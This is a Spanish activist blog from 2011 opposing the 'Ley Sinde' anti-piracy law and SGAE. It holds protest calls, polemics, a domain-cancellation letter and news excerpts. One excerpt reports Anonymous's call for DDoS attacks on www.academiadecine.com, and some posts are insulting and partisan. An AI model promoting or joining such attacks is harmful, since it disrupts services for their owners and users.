España no está sola en el mundo y que cuando los americanos den un puñetazo en la mesa, ya nos podemos echar a temblar. Entrevista al completo en: http://www.sonicwavemagazine.com/siniestro-total%20-leyendas-de-futuro_section_8025.html

Siete claves para entender cómo influirá #nolesvotes en las próximas elecciones

2011-03-14T13:37:00.004+01:00

El movimiento que pide no votar a PSOE, PP y CiU -los tres partidos que apoyaron la Ley Sinde- está creciendo de forma vertiginosa en la red. Hemos consultado a varios expertos en internet, políticos y politólogos para conocer cuál será su influencia en el resultado de las elecciones del próximo 22 de mayo y analizar este movimiento que está revolucionando la red.

http://noticias.lainformacion.com/espana/siete-claves-para-entender-como-influira-nolesvotes-en-las-proximas-elecciones_riWUbiMGYJAfr3t5Zsk7H3/

CONCENTRACIÓN: El 4 de Marzo Anonymous contra la Ley Sinde

2011-02-22T09:23:00.004+01:00

La Ley Sinde será la semilla de la censura en Internet. Porque no dejaremos que aprueben en nuestra cara la quema de libros de la era digital. No nos oyeron, hicieron caso omiso al pueblo soberano. El 4 de marzo habrá concentraciones a las 6 de la tarde en rechazo de la ley Sinde. No dejemos que el pacto entre PP, PSOE y CIU que permitió la censura en Internet caiga en el olvido. Que sepan que han perdido nuestros votos. Metieron la pata, y pagarán por ello.

Haz cliq aquí para informarte sobre todas las protestas programadas para el 4 de marzo.

Hemos demostrado que juntos somos más, que juntos podemos más porque somos legión, somos Anonymous.

Recortando derechos y libertades

2011-02-21T09:37:00.003+01:00

A continuación se muestra una carta enviada por el Ministerio de Industria, Turismo y Comercio hacia mi persona para la cancelación de mi dominio.

Estimados Sres.,

El artículo 13.5 del Plan Nacional de nombres de dominio bajo ".es" aprobado por la ORDEN ITC/1542/2005 de 19 mayo, establece que la Autoridad de asignación podrá comprobar en cualquier momento, de oficio o a instancia de parte, si se mantienen las condiciones para la asignación de un nombre de dominio establecidas en el propio Plan, indicando que el incumplimiento de dichas condiciones determinará la cancelación del nombre de dominio de acuerdo con el procedimiento que la Autoridad de Asignación establezca al efecto.

La Autoridad de Asignación aprobó, el pasado día 2 de enero de 2010, la Instrucción del Director General de Red.es por la que se desarrollan los procedimientos aplicables a la asignación y a las demás operaciones asociadas al registro de nombres de dominio bajo el código de país correspondiente a España ".es" (en adelante, la "Instrucción").

El artículo vigésimo tercero de la citada Instrucción establece que en caso de que el procedimiento se inicie de oficio, la Autoridad de asignación comunicará al beneficiario del nombre de dominio, en los términos previstos en el apartado tercero de la presente Instrucción, el incumplimiento de las condiciones de asignación, concediéndole un plazo de 10 días naturales para presentar alegaciones que considere oportunas en su consola de usuario final, a la que podrá acceder con su número de identificador y clave en la siguiente dirección web: https://www.nic.es/sgnd.

En este sentido, el apartado tercero de la Instrucción dispone que "La autoridad podrá solicitar la remisión de la documentación necesaria para verificar el cumplimiento de los requisitos exigidos para la asignación y gestión de los nombres de dominio por procedimientos telemáticos o cualquier otro medio que considere oportuno. Sin perjuicio de lo anterior, la Autoridad de Asignación podrá verificar por sus propios medios el cumplimiento de la normativa aplicable."

De acuerdo con lo anteriormente expuesto, la Autoridad de Asignación, con el fin de verificar que el mencionado nombre de dominio está relacionado con la titularidad y que los datos relativos al mencionado nombre de dominio son veraces y correctos, solicita a D.Pepito Pérez Pérez, persona de contacto administrativo del nombre de dominio "gonzalezsinde.es", que envíe, en el plazo de 10 días naturales concedido al efecto, la documentación que acredite, la coincidencia del nombre del titular con la combinación de nombre y apellidos o de apellidos del dominio y la posible presencia de datos falsos o incorrectos en el Registro del nombre de dominio.

Transcurrido dicho plazo, la Autoridad de Asignación decidirá, a la vista de las alegaciones realizadas, si mantiene o cancela la asignación del nombre de dominio "gonzalezsinde.es".

Por último, le comunicamos que se ha procedido a bloquear el nombre de dominio objeto del presente procedimiento de cancelación, el cual permanecerá bloqueado durante la tramitación del mismo.

Atentamente,

Asesoría Jurídica

Entidad pública empresarial Red.es

Sinde NO, Álex SI II

2011-02-14T16:15:00.004+01:00

Pitada a Sinde en la entrada a los Goya

Discurso de Álex de la Iglesia en los Goya

Relacionada: http://gonzalez-sinde.blogspot.com/2011/01/sinde-no-alex-si.html

No sois Cultura

2011-02-14T09:27:00.003+01:00

¡Qué bien habla la jodía! ¡Que bien suenan las palabras que emplea! "La democracia de Internet", "que nadie mande sobre las ideas de nadie", "recuperación económica" (¡toma ya, la salida a la crisis estaba aquí!), "convivencia de todos lo derechos", "más justicia"... ¡Qué bien hablas!

Aunque la González-Sinde olvida algunas cosas.

Olvida, quizá a propósito, que Cervantes fue un hombre pobre, que pasó todo tipo de penurias. No tenía el dinero de Bisbal, o el de la propia Ministra, ni el dinero de a quienes pretende "defender" esta ley. Pongo "defender" como eufemismo de "beneficiar". Comparar a sus protegidos con Cervantes es como comparar a ZP con Pablo Iglesias, un despropósito.

La ministra olvida que Cervantes escribió el Quijote en la cárcel. Y uno va a la cárcel, ahora y en 1604, por saltarse los límites de la ley. Por tanto, no es Cervantes alguien válido como ejemplo de legalidad. Cuando pone a Cervantes como ejemplo, y más aún el Quijote, dentro del marco de la legalidad, lo que hace es invitarnos a saltarnos la ley. Una cosa es que Cervantes fuera un buen escritor, genial escritor, cosa que no se pone en duda, y otra, bien distinta, que fuera buena persona, cosa que no se sabe. Desde luego, lo que no era, y de eso hay constancia, es legal. De hecho fue a la cárcel por un delito que ahora llamaríamos con un nombre de esos tan monos que hay en la jerga judicial tipo "apropiación indebida", o similares.

El caso es que Cervantes era un hombre pobre que fue a la cárcel por robar. Es decir: se saltó la ley para poder comer. ¿A quién me recuerda, pues, el autor del Quijote? Ah, sí, a esos negros que están en la calle vendiendo CDs y que sus policías persiguen y encarcelan. Sí señora ministra, Cervantes, a quien usted, usted y no yo, pone de ejemplo, actuaba de forma parecida a los top-manta a los que usted, usted y no yo, persigue y encarcela.

Pero seamos bienpensantes y creámonos que todo esto ha sido un olvido. Y digo olvido, no ignorancia, porque la ignorancia es algo muy grave en alguien que ocupa un cargo ministerial.

Donde miente la ministra es en decir que Cervantes publicó la segunda parte del Quijote por piratería... No es cierto. Cervantes escribió la segunda parte porque empezaron a salir distintas versiones de la secuela (utilizaré términos del cine para que me entienda) del Quijote. Es decir: la gente NO empezó a copiar ilegalmente, y sin pagar derechos de autor (pues "el maravilloso invento de Gutenberg" no era precisamente asequible para el ciudadano de entonces), que es a lo que usted llama injustamente "piratería" (y Mark Twain no es justificante de nada). Lo que ocurrió fue que algunos autores empezaron a escribir sobre el Quijote para beneficiarse del tirón que tenía la obra. Y aquí aclaremos una cosa: No fue el pueblo – a quienes ustedes criminalizan llamándolo "pirata" por hacer copias – sino los propios autores – a quien usted llama "gente de la cultura" – los que se pusieron a escribir las segundas partes del personaje de otro. Fue esa una guerra entre la propia "gente de la cultura", a quien, por cierto, el propio Cervantes ya atacaba al decir que su propósito con El Quijote era acabar con las obras de caballería.

Pero lo que dice al respecto de Cervantes no sólo proviene del olvido o la mentira, sino que, y esto es grave en un profesional del cine, es incapaz de imaginar una salida, un final apropiado para su argumentación. Al decirnos que Cervantes escribió la segunda parte del Quijote debido a la piratería, nos está diciendo justo lo contrario de lo que nos pretende argumentar: la piratería inspiró a Cervantes. Es decir, según su propio ejemplo, el suyo, la piratería no sólo no acabaría con el arte, sino que lo multiplicaría. Su propio ejemplo nos demuestra que todos los augurios apocalípticos que nos han contado al respecto de la muerte del arte y el subsiguiente fin del mundo, son mentira. Usted, y no yo, es la que lo ha demostrado.

Y yendo aún más lejos con el mismo ejemplo, el suyo, resulta que Cervantes tuvo más coraje, más capacidad de trabajo y más arte, que en definitiva es de lo que se trata, que todos ustedes juntos, al acabar a base de oficio con el problema que se le había planteado. Si ustedes se parecieran un poquito, sólo un poquito, a Cervantes (y no digo como personas, sino como artistas), lo que de verdad harían para acabar con "la piratería" sería películas que de verdad mereciera ir la pena a ver al cine. Eso es lo que hizo Cervantes, a su manera. ¿Por qué no intentan hacer algo parecido? Quizá, y esto siempre planea como telón de fondo, porque los cineastas españoles, salvo alguna excepción, no son tan buenos profesionales como Cervantes.

Porque, no os autoengañéis los cineastas españoles, la sempiterna crisis del cine español no se debe a que Hollywood presiones para que les compren las películas por paquetes, ni tampoco a que los españoles seamos unos piratas. El problema del cine español es que ha pasado, directamente, de la censura franquista a la censura progresista. Antes, todo lo del régimen era bueno y lo demás malo, y si algo iba contra esto se le pegaba un tijeretazo. Ahora, todo lo que no sea compatible con la moral del PSOE y sus memorias históricas, no llega ni a ser producido. Mientras el cine español siga estando distanciado del pueblo, el pueblo no pagará por ver españoladas.

Además, cuando alguien se descarga una película en Internet... ¿qué os hace pensar que se está descargando cine español?

La ley Sinde(tener)-la-censura va en contra de un principio básico, que durante milenios se tuvo claro y que en los últimos tiempos parece haber desaparecido: El arte es del pueblo. NO del artista. Es en el pueblo en el que se inspiran los artistas, es el pueblo el que genera y transmite la cultura de la cual los artistas son meros reproductores. Los personajes que salen en las películas (incluidos E.T. o Légolas) están inspirados en la forma de ser de las personas que los autores conocen. Es decir: en la sociedad en la que los autores viven, la cual reflejan de un modo u otro, a veces de forma realista, a veces metafóricamente, a veces utópicamente, a veces fantasiosamente... En la sociedad misma, en el pueblo, es donde encuentra el autor el "material", la inspiración, para su obra. Pero además de ese, también hay un material objetivo: ¿Quién fabrica una cámara de cine? ¿Quién fabrica los coches que aparecen en el film? ¿Quién pica en la mina para extraer los minerales que luego se utilizarán en la fabricación de los ordenadores con que se mezclarán y retocarán las imágenes...?

No sólo el material (físico y espiritual) necesario en toda obra artística surge del pueblo. Las películas – como todo arte – van dirigidas al público. Y el público es el pueblo. Es decir: el artista sólo está en mitad del camino. El arte surge en el pueblo y termina yendo hacia él. Así ha sido siempre y así debe ser.

Y no sólo eso: los verdaderos artistas, los que viven PARA el arte (y no los que viven DEL arte), entre ganar más dinero y difundir más su obra.... eligen difundir más su obra.

Por otra parte, es una manipulación llamar "gente de la cultura" (expresión que usted repite machaconamente) a un grupito de artistas mercenarios que han demostrado repetidas veces que su mayor amor es el dinero (valga como ejemplo Almodóvar y su silencio cómplice e hipócrita en los Oscar cuando la guerra de Irak, el mismo Almodóvar que no dudó en leer manifiestos contra dicha guerra en España, porque sabía que eso le reportaría una buena imagen ante la opinión pública) y que no les importa, siempre y cuando les llenen el bolsillo, ser los esbirros de un gobierno que no duda en dejar a medio país sin empleo y que al mismo tiempo sube la edad de jubilación y endurece los requisitos para cobrar la pensión. Lo cual dice mucho de la honradez de dicho gobierno... y, por supuesto, de la de sus esbirros. Esos no son la gente de la cultura. Estos son a la sociedad lo que las pulgas a un perro. Empieza por "par...".

"Gente de la cultura" (si pudiera definirse así a un grupo determinado de la población, cosa que dudo) son: Todos aquellos que trabajan en la educación de la forma que sea: profesores de primaria, secundaria, bachillerato, universidad... también los bedeles y directores de dichas instituciones... así como los profesores de academias de verano, los profesores de música, los maestros de artes marciales, los profesores de autoescuela... y todo aquel que inculque algo que tenga que ver con la forma de pensar y/o de ser de las personas. También se podría calificar como "gente de la cultura" a los padres de familia ya que de lo que ellos hagan y dejen de hacer dependerá gran parte de la cultura de las próximas generaciones, tanto cuantitativamente como cualitativamente. Otro colectivo que se me ocurre es el de los sacerdotes y religiosos de cualquier doctrina, pues transmiten una forma de ser y pensar, una cultura. Por supuesto, no podemos olvidar a los músicos y artistas callejeros, esos que pasan la gorra tras cada actuación, para quienes la SGAE no sólo no es un aliado, sino en muchas ocasiones un enemigo... y podríamos seguir.

Que los artistas profesionales enriquecidos y serviles al PSOE se autoproclamen "la gente de la cultura", dejando fuera al resto del mundo, es una sinvergonzonería, una vileza del peor calibre. Eso sí, señora ministra, habla usted muy, pero que muy bien. También Hitler hablaba muy bien. De hecho, convenció a un país entero.

Por Anonymous

#nolesvotes

2011-02-10T13:14:00.001+01:00

La Disposición Final Segunda de la Ley de Economía Sostenible ya ha sido aprobada en el Senado con 244 votos a favor y 12 en contra. De esta manera la polémica “Ley Sinde” sigue adelante su tramitación, y lo más probable es que en los próximos días sea votada en el Congreso de los Diputados. Esta ley surge tras el acuerdo alcanzado en enero entre PSOE, PP y CiU para resucitar la normativa antidescargas rechazada por la Comisión de Economía del Congreso de los Diputados.

El portavoz del PSOE en el Senado, Félix Lavilla, defendió este nuevo marco legal argumentando que permitirá compatibilizar los derechos de la red con la propiedad intelectua.

Por su parte, el PP defendió su acuerdo con el PSOE para proteger los derechos de propiedad intelectual, pero no se muestra completamente satisfecho con el acabado de la ley. Su diputado valenciano, José María Chiquillo, dijo que la ley era “manifiestamente mejorable” y que es necesario añadir las propuestas ofrecidas por el PP entre las que se encuentran la reforma del canon digital y asegurar una mayor judicialización del proceso.

Perer Sampoi, portavoz del Grupo Mixto (en contra de la ley), consideró que la norma no solucionaría el problema de la piratería en internet y asegura que el texto “no convence ni a los internautas ni a los creadores”.

¿Todavía pagas a la SGAE?

2011-02-07T16:48:00.002+01:00

Voy a narraros a continuación unos hechos verídicos que viví el otro día en un local al que no mencionaré para no causarle problemas, ya que lamentablemente, ya sabemos como se las gastan los amigos de la Sociedad General de Autores y Editores.

Estaba preparando un evento, probando algo de música, cuando un tipo bajito, musculado, con gabardina de moda estilo soviet mal llevado, entró y se dirigió al encargado, amigo mío. En un principio no presté atención a lo que decía, pero cuando me giré y divisé el logo de la SGAE en su carpeta, acudí a la llamada de la selva.

Lo primero que oí de los balbuceos del cobrador a sueldo fue:

-Te-te-tengo que inspeccionar un poco el local, ¿vale?

Inspeccionar, casi vomito ante esto. ¿Con qué autoridad este tipo inspecciona nada? Para mayor pasmo, veo como comienza a contar los altavoces, como si esto le diese una idea del índice de piratería del bar. Enserio, quiero enfatizar en su actitud. El tipo apareció y nos hablaba como un extorsionador.

-He-he visto que hacéis conciertos aquí, yo es-es-es que vivo cerca y paso bastante por esta calle para aparcar.

-Sí, hacemos conciertos -contestó mi amigo.

-Pu-pu-pues eso habrá que pagarlo. Casi la to-to-totalidad de los artistas españoles pe-pe-pertenece a la SGAE. ¿Eso de ahí es una tele? Bueno, te voy a sacar un presupuesto de lo que cuesta todo. He visto que proyectáis películas también.

El hombre no creía nada de lo que decía, no sabía siquiera en qué se basaba lo que estaba haciendo, me aventuro a decir que no sería precisamente un amante de la cultura. Repetía un discurso aprendido que probablemente no entendía. Esperé a ver la cifra, unos cien euros al mes, y no pude aguantar más.

-Perdona, todos los conciertos que aquí se hacen son de gente que no pertenece a la SGAE, en ese caso, no tienen que pagaros nada ¿no?

-No-no-no, bueno, en ese caso, no. Pero eso no lo puedes sa-sa-saber, casi la totalidad…

-Sí, lo sé porque he venido a todos. Aquí no compartimos vuestras políticas en lo que respecta a la propiedad intelectual ¿sabes? -Todo esto con una sonrisa de oreja a oreja por supuesto.

-Bu-bueno, pues entonces no.

-Por cierto, eso no es una tele, es un monitor, así que bórralo, no hay tele (tener una tele sube el impuesto revolucionario). Respecto a lo de las películas, no se proyectan películas, se pasó (no pondré el nombre para no dar datos), film planteado para su difusión gratuita expresamente por sus creadores. Todas las películas que se proyecten aquí serán copyleft y no se cobrará por verlas.

-Ya… pero eso, no sé, si me paso por aquí y veo…

-Pásate si quieres y comprobarás que todo lo que te digo es cierto. Soy editor, y estoy bastante al tanto de vuestra forma de actuar. Yo tampoco comparto lo que hacéis, en la página de créditos de nuestros últimos libros verás que pone Creative Commons. Ni los autores ni la editorial pertenecemos a la SGAE.

-Yo-yo ya sé que esto es com-complicado, trabajo también vendiendo pólizas, esto es otro trabajo…

El tembloroso vigoréxico dejó de darme rabia, para darme lástima. No porque vendiese pólizas, evidentemente, sino porque no sabía ni lo que estaba haciendo.

-Mi-mi-mira, si firmáis el contrato en una semana, hago la vista gorda con los vídeos, y os cobro solo por los conciertos y la música. Ahora, si no lo hacéis, entonces podemos tener problemas.

Mis ojos se abrieron de par en par. Comprendí enseguida que no era una iniciativa de este mafioso del tres al cuarto, tal vez me equivoque, ojalá, pero por lo poco creíble que resultaba su intento de hacerles firmar bajo presión, me pareció que se trataba de una directriz.

-Vamos a ver, te repito que no les puedes cobrar por los conciertos, porque si los autores que tocan no pertenecen a la SGAE, ¿quién se queda el dinero que recaudáis en su nombre? Lo único de lo que podéis rascar algo es del hilo musical. Porque además, la lista de vuestros socios no nos la podrás facilitar ¿no? Para que sepamos quién puede sonar y quién no.

-No-no-no, lo siento.

-¿Por qué no?

-Porque no.

-Ya.

Finalmente, el tipo nos repitió su propuesta indecente y se marchó. Me quedé pensando. Entonces, la cosa va así, una sociedad privada recauda dinero en nombre de los artistas de este país, incluso sin la autorización de los mismos, y obtienen beneficio de ello. Para ello hacen uso de todo tipo de artimañas y engaños, se atreven a cobrar en nombre de gente que les detesta y luego se quedan el dinero. Además, la ley les ampara. Luego, si yo que como autor y editor participo de la industria editorial, me bajo un libro ¿soy un pirata? ¿Hay alguien que de verdad crea que es lícito lo que hace esta gente? ¿Qué nos pasa? ¿Hasta cuándo van a seguir apropiándose de dinero por derechos que no les pertenecen? El tipo se iba a ir de ahí cobrando por una tele que no era tal, por conciertos de gente que no sabía nada, y por películas que son por definición contrarias a ellos. En definitiva, cuando la SGAE llame a tu puerta, plántales cara, defiende tus derechos. La gente se desloma intentando hacer que un bar funcione en una ciudad repleta de restricciones, para que estos corsarios traten de desplumarte por nada y con amenazas. Incluso para el hilo musical hay alternativas, hay decenas de lugares en la web con contenidos copyleft. En el enlace que adjunto al final tienes varias iniciativas. Hablamos además de que el local en el que me encontraba promociona a artistas que no tienen otros apoyos, a los que se les cede el local sin tener que pagar nada y se les da toda la difusión posible. Ánimo y a por ellos que son pocos y cobardes.

Enlaces de interés:

Sentencia a favor de la música Copyleft en locales.

Portales de música Copyleft.

¿Por qué Copyleft y no Copyright?

Instrucciones para establecimientos.

EL ENLACE. Todo lo que tienes que saber si quieres reproducir música libre en tu local, sentencias a favor del copyleft en locales, formas de defenderte de los abusos de la SGAE. Todo en lo que antes era EXGAE.

Vía http://edureptil.wordpress.com/2011/02/06/que-hacer-cuando-venga-la-sgae-a-por-ti/

González-Sinde, de fiesta con los artistas horas antes de la votación de la ley antidescargas: acudieron David Bisbal, Alejandro Sanz y Miguel Bosé

2011-02-03T11:57:00.003+01:00

Horas antes de que se votara en el Congreso de los Diputados la llamada ‘Ley Sinde’, la ministra de Cultura celebró una cena privada con importantes artistas españoles en un conocido local de Madrid, ‘El Bogavante del Almirante’.

La cita que organizó González-Sinde en este discreto restaurante cercano al Ministerio de Cultura se celebró en un reservado, alejado de las miradas de curiosos. Según ha podido confirmar El Confidencial Digital de fuentes cercanas a los artistas, allí acudieron nombres de la talla de David Bisbal, Alejandro Sanz (que confirmó su presencia a través de su secretaria) o Miguel Bosé, entre otros. En total, fueron unos veinte los invitados.
Fuentes conocedoras de esta celebración explican a ECD que el montante de la cena ascendió a 1.800 euros. Este confidencial no ha podido concretar quién ha corrido con este gasto.
Pues bien, horas después de la ‘fiesta’ con los artistas pro ‘ley Sinde’, la Comisión de Economía tumbaba el proyecto de Ley de Economía Sostenible. En ese momento, algunos artistas salieron públicamente a defender el texto que preveía el cierre de webs que favorezcan las descargas de archivos protegidos por derechos de autor como películas o música.
Entre ellos se encontraba el propio Alejandro Sanz, asistente a la cena con la ministra. El cantante escribió en una conocida red social: “Qué cobardes los políticos españoles, no van a votar la ley Sinde de protección a la propiedad intelectual porque es impopular... Cobardes e hipócritas”.
Miguel Bosé fue más explícito y escribió en esa red social: “Desde aquí mi apoyo total e incondicional a la Ley Sinde. Ya era hora. Y de paso que conste mi vergüenza hacia todos aquellos políticos que intentan canjear nuestros derechos contra otros beneficios que nos lesionan profundamente. A ellos vaya mi desprecio”.
‘El Bogavante del Almirante’ es un restaurante especializado en arroz con bogavante. Una guía gastronómica lo define de esta manera: “situado en pleno barrio de Chueca se ubica este curioso restaurante con decoración atrevida, colores fuertes y que ofrece pescados frescos de alta calidad. Tiene también raciones y medias raciones de carabineros, camarones, cigalas, percebes...”.
Alguno de los camareros del restaurante no salía de su asombro al comprobar el espectacular despliegue de seguridad que se organizó ese día en el local.

Manifestación contra la 'ley Sinde' el día de los Goya

2011-02-02T12:21:00.002+01:00

Tras el acuerdo alcanzado entre el Gobierno, PP y CIU para sacar adelante la 'ley Sinde', los internautas adversos a la norma no han tardado en reaccionar. Y qué mejor forma de hacer visible su protesta que en la ceremonia de entrega de los premios Goya donde, además de la ministra de Cultura, Ángeles González-Sinde, acudirán las figuras más representativas del cine español y numerosos medios de comunicación.
Bajo el lema, ‘Operación Goya’, Anonymous –movimiento de ciberactivistas que actúan de forma coordinada y planifican ataques de denegación de servicio (DDoS)- han citado a los ciudadanos a las puertas del Teatro Real (C Felipe V, s/n) el próximo 13 de febrero, horas antes de que comience la gala de la Academia de Cine.
"Anonymous irá de excursión hasta las vallas de la alfombra roja para hacer ruido contra la ‘ley Sinde’ y contra aquellos que nos llaman ladrones", explican los convocantes en una de sus webs.

"La idea es plantarnos en el Teatro Real con las máscaras de Anonymous como protesta porque, aunque la postura de Álex de la Iglesia (Presidente de la Academia de Cine), no nos pareció mala, hay mucha gente que esperaba algo más", afirman en un comunicado difundido en varias redes sociales y blogs.

Además de la manifestación en la calle, el grupo programa una serie de ataques mediante el canal #hispano, a partir de las 16:00 horas, para expresar su descontento con la ley también a través de Internet, como ya hicieron bloqueando las páginas web del PSOE, del PP y CIU, que sufrieron varias horas de colapso el pasado 20 de diciembre, una de sus acciones más sonadas. "Démosles entre todos una gala que no puedan olvidar. El objetivo: www.academiadecine.com", añade la nota.
Los convocantes están dispuestos, incluso, a organizar viajes para que puedan acudir ciudadanos de todos los lugares de España. Por el momento, hay más de 170 personas confirmadas.

Vía El Mundo

Sinde NO, Álex SI

2011-01-27T16:24:00.003+01:00

Hace poco nuestra "querida" ministra de Cultura escribía un post diciendo que el adversario era otro. Pues bien, hoy parece ser que ya da nombres. El enemigo según Angeles González-Sinde es el señor Alex de la Iglesia. Por decir lo que piensa. Por principios. Por libertad de expresion. Por dejarla con las bragas al aire. ¿Hasta donde vamos a llegar?

Putos Políticos

2011-01-25T10:12:00.003+01:00

Esto es un sinsentido. El rechazo es generalizado, pero ellos se obsesionan en hacer salir adelante una ley tan impopular como injusta. A mi ya me habían decepcionado muchas veces, pero es que ahora además no los entiendo.
¿Para quién luchan? ¿Para quién dirigen? ¿Para quién legislan?
Para nosotros está claro que no.

Habrá Ley Sinde

PP, PSOE, y CiU pactan la ley Sinde

Enfado y decepción general

La falta de comunicación e información nos lleva al desencuentro

Dais ASCO

Mis novelas gratis

2011-01-20T12:46:00.012+01:00

Alberto Vázquez-Figueroa

A partir de ahora mis novelas se editarán simultáneamente en edición "cara", de las llamadas "de tapa dura", en edición de bolsillo a mitad de precio, podrán descargarse gratuitamente en "Internet" y todos los periódicos o revistas que lo deseen están autorizados a publicarlas al estilo de las antiguas novelas por entregas con la diferencia que en este caso no tendrán obligación de pagarme nada en concepto de derechos de autor.

Me han preguntado si es que me he vuelto loco, me sobra el dinero o pretendo arruinarme y arruinar de paso a mi editor. No es el caso.

He meditado largamente sobre el tema y he llegado a la conclusión de que hoy en día hay público para todos los niveles adquisitivos del mismo modo que quien lo desea puede almorzar en un restaurante de lujo, en una simple hamburguesería e incluso acudir a un comedor social.

También puede hacerse un traje a medida, comprárselo en unos grandes almacenes o en un rastrillo dominguero.

Igual ocurre en la mayor parte de las facetas del consumo, excepto en lo que se refiere a los lectores que tienen que resignarse a pagar el precio que marca el editor que ha adquirido los derechos en exclusiva de un determinado libro o aguardar años hasta que se edite en bolsillo.

Y desde luego nunca lo obtendrá gratis.

Y se me antoja injusto porque la cultura es tan importante como comer o vestirse, y desde luego mucho más importante que adquirir un coche donde se ofrecen cien gamas de precios donde elegir.

Mi próxima novela trata sobre Irak y las oscuras maquinaciones de las grandes compañías americanas que inventaron la existencia de armas de destrucción masiva con el fin de iniciar una guerra que ha costado casi medio millón de muertos y nunca podrá ganarse, pero que produce miles de millones de beneficios a empresas directamente ligadas a lo mas altos cargos de la administración republicana.

Y a mis lectores, cualquiera que sea su condición social o capacidad adquisitiva, ese tema les interesa conocerlo a fondo en estos momentos, no dentro de dos años, que sería cuando cualquier otra editorial considerase que ya había exprimido al máximo el limón de la "tapa dura" y tuviera a bien editarla en bolsillo para unos lectores "De Segunda Categoría".

No deben existir lectores de segunda ni de tercera categoría, porque lo que importa es su relación directa con el autor independientemente de lo lujoso que sea el vehículo que proporcione dicha relación.

Al cumplir cincuenta años como escritor muchas personas me han asegurado que se acostumbraron a leer con mis novelas de aventuras, y aunque algunas me han sido infieles con el paso del tiempo, lo que importa es el hecho de que empezaron a leer y aficionaron de igual modos a quienes les rodeaban.

Folletines del estilo de "Los tres mosqueteros", "Los Miserables" o "El Conde de Montecristo" consiguieron que, al poder acceder gratuitamente a tan magníficos textos, en el transcurso de una sola generación el número de lectores franceses se multiplicara por tres.

Los editores no tienen derecho a quejarse de que "se lee poco" mientras mantienen el control sobre el precio de lo que en ese momento interesa, ni las autoridades deberían promover absurdas campañas publicitarias que no conducen mas que a gastar dinero; lo que deben hacer es presionar a los editores a la hora de poner los libros al alcance de todos los bolsillos.

Personalmente prefiero que me lean dos estudiantes, obreros o secretarias en el autobús por siete euros, que un alto ejecutivo en su cómodo despacho por veinte, porque aunque gane menos si el libro es bueno esos dos lectores se convertían en cuatro y luego en ocho, y resulta evidente que existen muchos mas obreros, estudiantes y secretarias que altos ejecutivos.

Y si el libro es malo ni unos ni otros lo compraran.

En cuanto al hecho de ofrecerlo gratuitamente en "Internet" tengo claro que quien lo descargue de la red nunca hubiera comprado mi novela, o sea que prefiero que me lea gratis a que no me lea.

Tal vez la próxima vez se decida a comprar un libro aunque no sea mío.

Algo es cierto: he vendido casi veinticinco millones de libros y todo el dinero que me han pagado me lo he gastado, pero una gran parte de los lectores que he conseguido, aun los conservo.

Y de todo el dinero que gané la mitad se lo llevo Hacienda.

Sin embargo Hacienda aun no ha logrado arrebatarme un solo lector.

En Inglaterra, país culto donde los haya, los escritores no pagan impuestos por el fruto de su trabajo, pero en España, pese a pertenecer también a la Unión Europea, cada año debo entregar la mitad de mis ingresos a Hacienda o me embargan.

Eso significa que un escritor ingles cuenta con el doble de medios económicos que yo para viajar o investigar a la hora de encarar un nuevo trabajo.

Eso no evita que las autoridades españolas se lamenten de que nos esté invadiendo la cultura anglosajona, y lo único que se les ocurre para remediarlo es adquirir los más emblemáticos y costosos edificios de cada capital con el fin de instalar un nuevo Instituto Cervantes en el que dar cobijo a "intelectuales" afines al partido que se encuentre en esos momentos en el poder.

Para nuestra voraz, inculta y derrochadora administración tan solo somos europeos cuando conviene, y esa es una de las razones por la que prefiero regalarle la mitad de mis ganancias a unos lectores anónimos que tal vez me lo agradezcan, que a un gobierno que no solo no lo agradece, sino que no acepta que para escribir un una novela interesante sea necesario viajar e investigar.

Siento curiosidad por saber si las editoriales continuaran con su absurda política inmovilista o comprenderán que es hora de renovar unos hábitos que no han evolucionado un ápice en trescientos años mientras que a su alrededor el mundo se transforma a marchas forzadas.

En mi juventud una película se estrenaba en una única y enorme sala, estaba casi un año en cartel y tan solo entonces pasaba a los cines de barrio. Hoy se estrena en cuarenta multisalas, a los quince días se edita en "DVD", al mes se compra en televisión, y se puede ver en las cadenas abiertas a los tres meses.

Si las grandes productoras cinematográficas, con sus complejos estudios de "marketing" han llegado al convencimiento de que esa es la formula que conviene en los tiempos que corren, las editoriales deberían tomar buena nota al respecto.

El mundo del libro tiene la enorme suerte de que no resulta rentable a los "piratas" del "Top-Manta" que tanto daño hace a las industrias del cine y la música, pero por eso mismo, y por la gran competencia de la televisión y todo tipo de deportes de masas, los que lo gestionan deberían plantearse un cambio radical e intentar conseguir lectores antes que beneficios.

Sin lectores no hay beneficios, y cuando haya muchos lectores ya llegaran los beneficios.

Resultará muy interesante comprobar si los Ministerio de Cultura y Hacienda seguirán opinando que es preferible que los empresarios- en este caso los editores- continúen manteniendo el privilegio de abaratar los precios únicamente cuando les convenga sin tener en cuenta los intereses de los lectores, al tiempo que no cesan de apretarle las clavijas al pobre trabajador- en este caso el autor.

Por lo visto un gobierno que se autodenomina socialista considera que es preferible proteger al que se beneficia económicamente de la cultura que al que la crea.

Existen varias editoriales multimillonarias, pero ni un solo autor español mínimamente "acomodado"

El viejo dicho, "En España escribir es llorar" ya no tiene sentido: debería decirse "En España escribir- y leer- es pagar".

A.V-F (Julio 2007)

http://vazquezfigueroa.blog.com/

Yo no, otro!

2011-01-18T17:38:00.004+01:00

Tras "Mentiras y Gordas", llega "El adversario es otro". ¿Quién? Pués eso, otro. ¿O no?

La ministra y sus errores

Por diez años, señora Sinde, por diez años

Sinde, ¿Por que mejor no se calla?

La adversaria es usted

El quijote de Angeles González-Sinde

González-Sinde vaticina la extinción de los artistas

El adversario es otro

2011-01-18T09:54:00.005+01:00

"Por parte de vos, Miguel de Cervantes, nos fue hecha relación que habíades compuesto un libro intitulado El ingenioso hidalgo de la Mancha, el cual os había costado mucho trabajo y era muy útil y provechoso (...) Os damos licencia y facultad para que vos, o la persona que vuestro poder hubiere y no otra alguna, podais imprimir el dicho libro (...) So pena que la persona o personas que sin tener vuestro poder lo imprimiere o vendiere: o hiciere imprimir o vender, por el mesmo caso pierda la impresión que hiciere, con los moldes y aparejos de ella: y más incurra en pena de cincuenta mil maravedís cada vez que lo contrario hiciere... Fecha en Valladolid a veinte y seis días del mes de Septiembre de mil seiscientos y cuatro años. Yo el Rey."

